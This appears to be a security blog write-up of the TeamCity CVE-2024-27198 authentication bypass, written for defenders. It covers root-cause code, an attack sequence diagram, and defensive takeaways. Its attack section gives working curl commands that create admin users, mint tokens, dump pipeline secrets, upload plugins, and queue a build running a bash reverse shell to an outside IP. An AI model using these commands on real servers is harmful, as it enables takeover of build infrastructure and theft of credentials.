TeamCity: Deconstructing CI/CD Pipeline RCE

Overview & Threat Landscape#

In modern software engineering, Continuous Integration and Continuous Deployment (CI/CD) pipelines represent the operational backbone of the enterprise. Platforms like JetBrains TeamCity orchestrate the automated compilation, testing, packaging, and deployment of software across vast fleets of distributed build agents. To fulfill this mission, CI/CD servers inherently aggregate high-value organizational secrets: cloud provider administrative credentials (AWS IAM roles, Azure service principals, GCP service accounts), container registry signing keys, production database connection strings, and private source code repositories.

In March 2024, vulnerability research by Rapid7 disclosed CVE-2024-27198—a catastrophic authentication bypass vulnerability affecting on-premises JetBrains TeamCity servers running versions prior to 2023.11.4. Assigned a critical CVSS score of 9.8 (CWE-288 / CWE-22), the vulnerability enables unauthenticated, remote threat actors to bypass administrative authentication completely and execute arbitrary code on the TeamCity server and all connected build agents.

The disclosure of CVE-2024-27198 fundamentally shifted the threat calculus for enterprise DevSecOps:

Complete Management Plane Compromise: Most enterprise DevSecOps programs focus heavily on pipeline hygiene—scanning source code with SAST tools, verifying open-source dependencies (SCA), and signing container images. CVE-2024-27198 bypassed these layers entirely by attacking the CI/CD orchestration controller directly. Compromising the CI/CD server gives attackers absolute control over everything built and deployed by the organization.
Trivial Pre-Authentication Exploitation: Unlike vulnerabilities requiring complex race conditions or memory corruption primitives, CVE-2024-27198 is exploitable via a single HTTP request. An unauthenticated attacker can create a fully privileged System Administrator account or generate permanent REST API tokens without requiring valid credentials or user interaction.
Mass In-the-Wild Weaponization: Within hours of public disclosure, threat intelligence groups—including CISA, Microsoft Threat Intelligence, and Mandiant—observed widespread active exploitation. State-sponsored threat actors (notably APT29 / Cozy Bear) and prolific ransomware syndicates (including BianLian and Jasmin) incorporated CVE-2024-27198 into their initial access playbooks to backdoor proprietary software releases and move laterally into production cloud environments.

[!WARNING] Because TeamCity servers frequently hold direct deployment access to production environments, an unauthenticated compromise of the TeamCity controller represents an immediate compromise of all downstream production infrastructure.

Vulnerability & Attack Root-Cause Analysis#

To understand how CVE-2024-27198 operates, we must dissect the request handling architecture of TeamCity's web server, which relies on the Spring MVC framework and custom request interceptor chains.

The Spring MVC Routing Mismatch#

In TeamCity, incoming web requests are evaluated by custom controllers extending jetbrains.buildServer.controllers.BaseController. To optimize performance and permit public access to branding assets, stylesheets, and login icons, TeamCity bypasses security filters and authentication checks for requests identified as static resources.

The critical flaw resides in how TeamCity evaluated whether a request path represents an unauthenticated resource. In vulnerable versions, BaseController.java consulted RequestPathUtils.isPathToStaticResource():

JAVA

// Conceptual reconstruction of vulnerable logic in RequestPathUtils.java
public static boolean isPathToStaticResource(@NotNull HttpServletRequest request) {
    String uri = getPathWithoutContext(request);
    
    // Insecure path matching logic
    return uri.endsWith(".jsp") || 
           uri.contains("/res/") || 
           uri.endsWith(".css") || 
           uri.endsWith(".js") ||
           uri.endsWith(".ico");
}

This logic introduced two fatal architectural vulnerabilities:

Path Traversal via /res/: The check uri.contains("/res/") was intended to permit unauthenticated access to web resources located under the static /res/ directory. However, because the method inspected the raw request URI without path canonicalization, an attacker could supply a path traversal sequence: POST /res/../app/rest/users The method saw /res/ and returned true, exempting the request from authentication. The underlying servlet dispatcher subsequently resolved /res/.. lexically, forwarding the request directly to the privileged REST API endpoint /app/rest/users.
The ?jsp= Query Parameter Forwarding: BaseController contained additional handling logic that allowed requests to specify an internal view or target page using the jsp HTTP query parameter:

JAVA

// Vulnerable request forwarding in BaseController.java
public ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) {
    String jsp = request.getParameter("jsp");
    if (jsp != null && RequestPathUtils.isPathToStaticResource(request)) {
        // Forwards execution directly to the specified jsp path without auth!
        return new ModelAndView(jsp);
    }
    ...
}

If an attacker submitted a request to an unauthenticated static resource (or any non-existent resource that returned a static view) and appended ?jsp=/app/rest/users, the controller bypassed authentication and forwarded the request directly to the administrative user creation handler.

[!IMPORTANT] The root cause was an impedance mismatch between the security layer's lexical path matching and the servlet container's internal request forwarding. Trusting raw URI strings without canonicalization allowed attackers to route requests directly to protected administrative servlets.

Exploit Architecture#

The sequence diagram below illustrates the end-to-end attack progression from unauthenticated web discovery to cluster-wide remote code execution:

sequenceDiagram
    autonumber
    actor Attacker as Threat Actor
    participant Web as TeamCity Web Server (Port 8111)
    participant Auth as BaseController / Security Interceptor
    participant REST as REST API Handler (/app/rest/users)
    participant DB as TeamCity Internal Database
    participant Agent as Connected Build Agent

    Note over Attacker,Web: Phase 1: Authentication Bypass
    Attacker->>Web: POST /hax?jsp=/app/rest/users (JSON payload with new admin credentials)
    Web->>Auth: Evaluate isPathToStaticResource(request)
    Auth-->>Web: Path contains .jsp or static parameter (Bypass Authentication)
    Web->>REST: Forward request to /app/rest/users handler
    REST->>DB: Insert new user with System Administrator role
    DB-->>REST: User created successfully
    REST-->>Attacker: Return HTTP 200 with new Admin User Object

    Note over Attacker,Web: Phase 2: Token Issuance & Secret Harvest
    Attacker->>Web: POST /hax?jsp=/app/rest/users/id:1/tokens/RPC (Bearer Token Generation)
    Web-->>Attacker: Return permanent Administrator REST API Token
    Attacker->>Web: GET /app/rest/projects (Harvest CI/CD secrets and cloud keys)
    Web-->>Attacker: Dump environment variables and AWS/Azure deployment tokens

    Note over Attacker,Agent: Phase 3: Remote Code Execution
    Attacker->>Web: POST /app/rest/buildTypes (Create rogue build configuration with shell runner)
    Attacker->>Web: POST /app/rest/buildQueue (Trigger build execution)
    Web->>Agent: Dispatch build step containing malicious payload
    Agent->>Agent: Execute arbitrary bash/PowerShell script as build service
    Agent-->>Attacker: Reverse Shell / Host Takeover Established

Attack Path Step-by-Step#

Understanding the tactical mechanics of CVE-2024-27198 reveals how easily an attacker transforms an unauthenticated HTTP request into enterprise-wide compromise.

Step 1: Unauthenticated Administrator Account Creation#

The threat actor dispatches an HTTP POST request targeting TeamCity on port 8111 (or whichever port the web interface exposes). By passing ?jsp=/app/rest/users, the security filter treats the request as a static resource while the internal dispatcher routes it to the user creation REST API:

BASH

# Creating a new rogue System Administrator user without credentials
curl -s -k -X POST "http://teamcity.internal.corp:8111/hax?jsp=/app/rest/users" \
     -H "Content-Type: application/json" \
     -d '{
       "username": "fcd_admin",
       "password": "Password123!Secure",
       "email": "admin@fastcyberdefense.com",
       "roles": {
         "role": [
           {
             "roleId": "SYSTEM_ADMIN",
             "scope": "g"
           }
         ]
       }
     }' | jq .

TeamCity processes the request, commits the new user into the database, and returns the full user metadata confirming the assignment of the SYSTEM_ADMIN global role:

JSON

{
  "username": "fcd_admin",
  "id": 18,
  "href": "/app/rest/users/id:18",
  "roles": {
    "role": [
      {
        "roleId": "SYSTEM_ADMIN",
        "scope": "g",
        "href": "/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"
      }
    ]
  }
}

Step 2: Generating Administrator API Bearer Tokens#

To establish persistent management plane access that survives UI password changes or administrative audits, the attacker immediately generates a permanent authentication token for user ID 1 (the default built-in Super Administrator) or their newly created account:

BASH

# Generating an administrative API token via path traversal
curl -s -k -X POST "http://teamcity.internal.corp:8111/hax?jsp=/app/rest/users/id:1/tokens/RPC" \
     -H "Content-Type: text/plain"

TeamCity responds with an administrative bearer token:

XML

<token name="RPC" value="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."/>

Step 3: Harvesting CI/CD Pipeline Secrets & Cloud Credentials#

With the administrative token acquired, the attacker queries the TeamCity REST API to exfiltrate all stored build parameters, cloud credentials, and deployment keys across all projects:

BASH

# Enumerate all projects and dump sensitive build parameters
curl -s -k -H "Authorization: Bearer ${TEAMCITY_TOKEN}" \
     "http://teamcity.internal.corp:8111/app/rest/projects" \
     | jq -r '.project[] | {id: .id, name: .name}'

## Dump secret parameters (AWS_SECRET_ACCESS_KEY, SSH keys, passwords)
curl -s -k -H "Authorization: Bearer ${TEAMCITY_TOKEN}" \
     "http://teamcity.internal.corp:8111/app/rest/parameters" \
     | jq .

Step 4: Achieving Remote Code Execution (Server & Agent Fleet)#

Attackers employ two primary techniques to achieve arbitrary code execution:

Vector A: Server-Side Java Plugin Injection

TeamCity allows administrators to upload custom plugins packaged as .zip files via /admin/admin.html?item=plugins. A malicious plugin containing a custom Java servlet executes arbitrary code directly inside the server's JVM process:

BASH

# Uploading malicious plugin archive to execute code as TeamCity server user
curl -s -k -X POST "http://teamcity.internal.corp:8111/admin/admin.html?item=plugins" \
     -H "Authorization: Bearer ${TEAMCITY_TOKEN}" \
     -F "fileName=@malicious_plugin.zip"

Vector B: Rogue Build Configuration Execution on Build Agents

Alternatively, attackers create a rogue build configuration with a standard command-line runner and dispatch it to the build queue:

BASH

# Create rogue build configuration with arbitrary bash payload
curl -s -k -X POST "http://teamcity.internal.corp:8111/app/rest/buildTypes" \
     -H "Authorization: Bearer ${TEAMCITY_TOKEN}" \
     -H "Content-Type: application/json" \
     -d '{
       "id": "Rogue_Payload_Execution",
       "name": "Security Audit Task",
       "project": {"id": "_Root"},
       "steps": {
         "step": [
           {
             "name": "Exec",
             "type": "simplerunner",
             "properties": {
               "property": [
                 {"name": "script.content", "value": "bash -i >& /dev/tcp/192.0.2.50/4444 0>&1"},
                 {"name": "use.custom.script", "value": "true"}
               ]
             }
           }
         ]
       }
     }'

## Queue the build to execute immediately on an active agent
curl -s -k -X POST "http://teamcity.internal.corp:8111/app/rest/buildQueue" \
     -H "Authorization: Bearer ${TEAMCITY_TOKEN}" \
     -H "Content-Type: application/json" \
     -d '{"buildType": {"id": "Rogue_Payload_Execution"}}'

Fast Cyber Defense Morning Takeaways#

The architectural failure demonstrated by CVE-2024-27198 provides foundational lessons for DevSecOps and cloud security architecture:

Path-Based Authentication Bypasses Invalidate Perimeter Assumptions: Relying on simple URL string checks (contains("/res/") or endsWith(".jsp")) without strict path normalization is a critical vulnerability pattern. Security enforcement must occur on canonicalized, fully decoded routes.
CI/CD Servers Are Mission-Critical Tier-0 Assets: TeamCity servers must be treated with the same architectural paranoia as Active Directory Domain Controllers or Kubernetes API servers. Exposing CI/CD web interfaces directly to untrusted corporate networks or the public internet violates basic defense-in-depth principles.
Build Agents Must Be Ephemeral and Isolated: Permitting build agents to run with broad network access and persistent host privileges allows a CI/CD compromise to immediately cascade into lateral network movement.

Bridge to Evening Defense Guide#

In tonight's companion defensive engineering guide, we will design and deploy a complete blue team hardening blueprint:

Edge Reverse Proxy Normalization: Crafting NGINX and Envoy rules that strictly block path traversal sequences, strip ?jsp= query parameters, and drop unauthorized /res/.. requests before they reach TeamCity.
Ephemeral Agent Sandboxing: Transitioning build agents to isolated, short-lived Kubernetes pods or microVMs (Firecracker) with strict network egress controls.
Production Detection Rules: Writing Sigma rules for unexpected TeamCity user creation, auditd rules for server JVM process execution, and network IDS signatures.
Incident Response & Forensic Verification Playbook: Step-by-step triage workflow to audit TeamCity user databases, inspect installed plugins, review build queue histories, and revoke compromised CI/CD credentials.

Authoritative References#

Rapid7 Technical Advisory: CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities — Rapid7 Blog
JetBrains Security Bulletin: TeamCity 2023.11.4 Release and Security Advisory for CVE-2024-27198 — JetBrains Blog
Cybersecurity and Infrastructure Security Agency (CISA): Known Exploited Vulnerabilities Catalog: JetBrains TeamCity Authentication Bypass (CVE-2024-27198) — CISA KEV
Microsoft Threat Intelligence: State-Sponsored and Ransomware Groups Capitalize on JetBrains TeamCity Vulnerability — Microsoft Security Blog

TeamCity: Deconstructing CI/CD Pipeline RCE

Overview & Threat Landscape#

Vulnerability & Attack Root-Cause Analysis#

The Spring MVC Routing Mismatch#

Exploit Architecture#

Attack Path Step-by-Step#

Step 1: Unauthenticated Administrator Account Creation#

Step 2: Generating Administrator API Bearer Tokens#

Step 3: Harvesting CI/CD Pipeline Secrets & Cloud Credentials#

Step 4: Achieving Remote Code Execution (Server & Agent Fleet)#

Vector A: Server-Side Java Plugin Injection

Vector B: Rogue Build Configuration Execution on Build Agents

Fast Cyber Defense Morning Takeaways#

Bridge to Evening Defense Guide#

Authoritative References#

Comments

Post a Comment